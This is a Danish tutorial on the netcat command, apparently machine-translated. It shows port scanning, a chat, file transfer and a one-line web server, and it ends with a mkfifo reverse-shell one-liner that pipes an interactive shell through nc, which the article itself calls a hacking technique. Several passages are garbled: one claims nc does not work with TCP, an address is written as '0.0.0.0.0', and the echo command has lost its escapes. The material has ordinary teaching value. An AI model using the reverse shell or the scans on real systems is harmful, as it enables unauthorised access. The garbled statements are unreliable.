Kommandoen netcat
er nødvendig for at sende og modtage data ved hjælp af TCP- og UDP-protokollerne. Den har ikke et stort sæt funktioner, men den er tilstrækkelig til forbindelseskontrol og simpel fejlfinding. Hvordan kommunikerer man via TCP-protokollen? Dette spørgsmål bliver stillet af mange brugere. I denne artikel besvarer vi det og viser også eksempler på reel anvendelse af kommandoen.
Kommandoen netcat
(eller nc
) er et kraftfuldt værktøj til at arbejde med netværksforbindelser. Den bruges ofte af systemadministratorer og udviklere til forskellige opgaver. Her er de vigtigste funktioner og egenskaber i netcat
:
netcat
er et alsidigt værktøj, der kan bruges i en lang række scenarier, fra simpel beskedudveksling til komplekse netværksoperationer.
Lad os starte med at se på syntaksen og de mest populære:
-6 -
brug IPv6-protokollen. Standard er henholdsvis -4 og IPv4;-h
- viser hjælp med listen over tilgængelige parametre;-i
- delay - tilføj forsinkelse mellem afsendelse af strenge eller scanning af porte. Den indstilles i sekunder;-l
- lyttetilstand. Bruges med portspecifikation;-N
- lukker forbindelsen, når slutningen af filen er nået, når den sendes;-n
- arbejder med IP-adresser direkte uden DNS, deaktiverer også portscanning;-P
- user_name - angiver det brugernavn, der skal forbindes til proxyen;-x
- address:port - angiv den adresse og port, der skal forbindes til proxyen;-p
- port - angiv portnummer. I de fleste tilfælde læses porten uden at angive parameteren;-U
- brug UNIX-domænesocket (til kommunikation mellem processer);-u
- brug UDP-protokollen, som standard bruges TCP;-v
- detaljeret tilstand. Bruges ved scanning;-W
number_packets - luk forbindelsen efter modtagelse af et bestemt antal pakker;-w
timer - aktiver timeren for at begrænse forbindelsestiden. Den indstilles i sekunder;-z
- deaktiverer afsendelse af data. Den bruges under scanning.Kommandoen har følgende form (parametre portadresse):
$ nc
Nu vil vi fortælle dig, hvordan du bruger kommandoen.
Kontrol er den vigtigste anvendelse af netcat
. Du skal bruge to parametre -vz
, angive adresse og port. Du kan angive en række adresser, men i dette tilfælde er det bedre kun at sigte åbne porte med kommandoengrep.
Lad os scanne portene på den lokale netværksadresse:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Lad os på samme måde scanne UDP-porte ved at tilføje parameteren -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Du bør kende den største forskel mellem TCP og UDP. Så i UDP er porte altid tilgængelige.
Parameteren -l
er beregnet til at lytte til porten. Det er ofte nok, men du kan aktivere den detaljerede tilstand:
$ nc -nlv 8080
Husk, at når du bruger TCP-protokollen, skal porten være fri, ellers vises fejlen Already in use. Ikke alle porte kan bruges af normale brugere, f.eks. port 80 (HTTP), den vil sandsynligvis være optaget af en anden proces og kræve superbrugerrettigheder.
En nyttig evne ved kommandoen er dataudveksling. Et simpelt eksempel er et tekstchatrum. For at starte en chat på en computer skal du køre værktøjet i portlyttetilstand:
$ nc -lp 8080
På den anden computer skal du angive adressen på den første computer og den samme port. Glem heller ikke at kontrollere, at porten er åben:
$ nc 0.0.0.0 8080
På den måde vil du kunne sende og modtage beskeder. Det vil sige, at kommandoen er beregnet til filudveksling. Princippet er det samme, bortset fra at det er nødvendigt at omdirigere outputtet til en fil, nemlig paste.txt
:
$ nc -l 8080 > paste.txt
På den anden pc vil filen copy.txt
fungere som input. Det er ikke overflødigt at bruge parameteren -N
til at lukke forbindelsen efter filoverførsel:
$ nc -N 0.0.0.0 8080 < copy.txt
Ved filoverførsel er det vigtigt at følge rækkefølgen, først åbne lytning og først derefter sende filen. Kommandoen nc er en velfungerende, men langt fra den bedste måde at overføre filer på. Der findes mere effektive og nyttige værktøjer til denne opgave.
Da NC-kommandoen ikke fungerer med TCP-protokollen, kan den både sende og modtage HTTP-anmodninger. Derfor kan værktøjet blive en simpel webserver. Ja, du kan ikke gøre noget sværere end en tom side på denne måde, men operationen tager næsten ingen tid, og plusset er, at du ikke behøver at installere noget ekstra.
På eksempelformularen HTTP-svar med filen index.html.
Når vi taler om selve np, er det en god idé at indstille en timer med parameteren -w 1
for at bryde forbindelsen, hvis browseren ikke gør det:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
For at få data fra en hjemmeside kan man lave en forespørgsel og sende den til den angivne adresse og port. Men denne måde er ret kompliceret, det er bedre at bruge den passende CURL-kommando.
Ud fra eksemplerne ovenfor er det ikke svært at konkludere, at kommandoen giver dig mulighed for at organisere fjernadgang til computerens shell. Tidligere havde NC-værktøjet flere parametre til at åbne adgangen til terminalen. Parameteren -e
er blevet fjernet fra programmet for længe siden, så der er ikke længere nogen simpel adgang til terminalen. Sikkerheden i selve programmet er blevet højere, men det kan stadig fungere sammen med andre.
Lad os vise forbindelsen ved hjælp af den navngivne kanal mkfifo. Lad os først og fremmest begynde at lytte til porten på den pc, hvor vi får adgang:
$ nc -lvnp 8080
Lad os gå direkte til kommandoen for at åbne terminalen. Slet først den gamle navngivne kanal(rm /tmp/f
), opret en ny i stedet(mkfifo /
tmp/f), læs dens indhold(cat /
tmp/f), og send en shell-kommando til dens output(sh -i 2>&1
). Derefter er det bare at køre nc med output til vores navngivne kanal(nc 0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Husk, at dette er en måde at hacke på, men det kan være nyttigt, hvis der er problemer med ssh
. For at forhindre angrebet skal du konfigurere en sikkerhedspolitik og en firewall.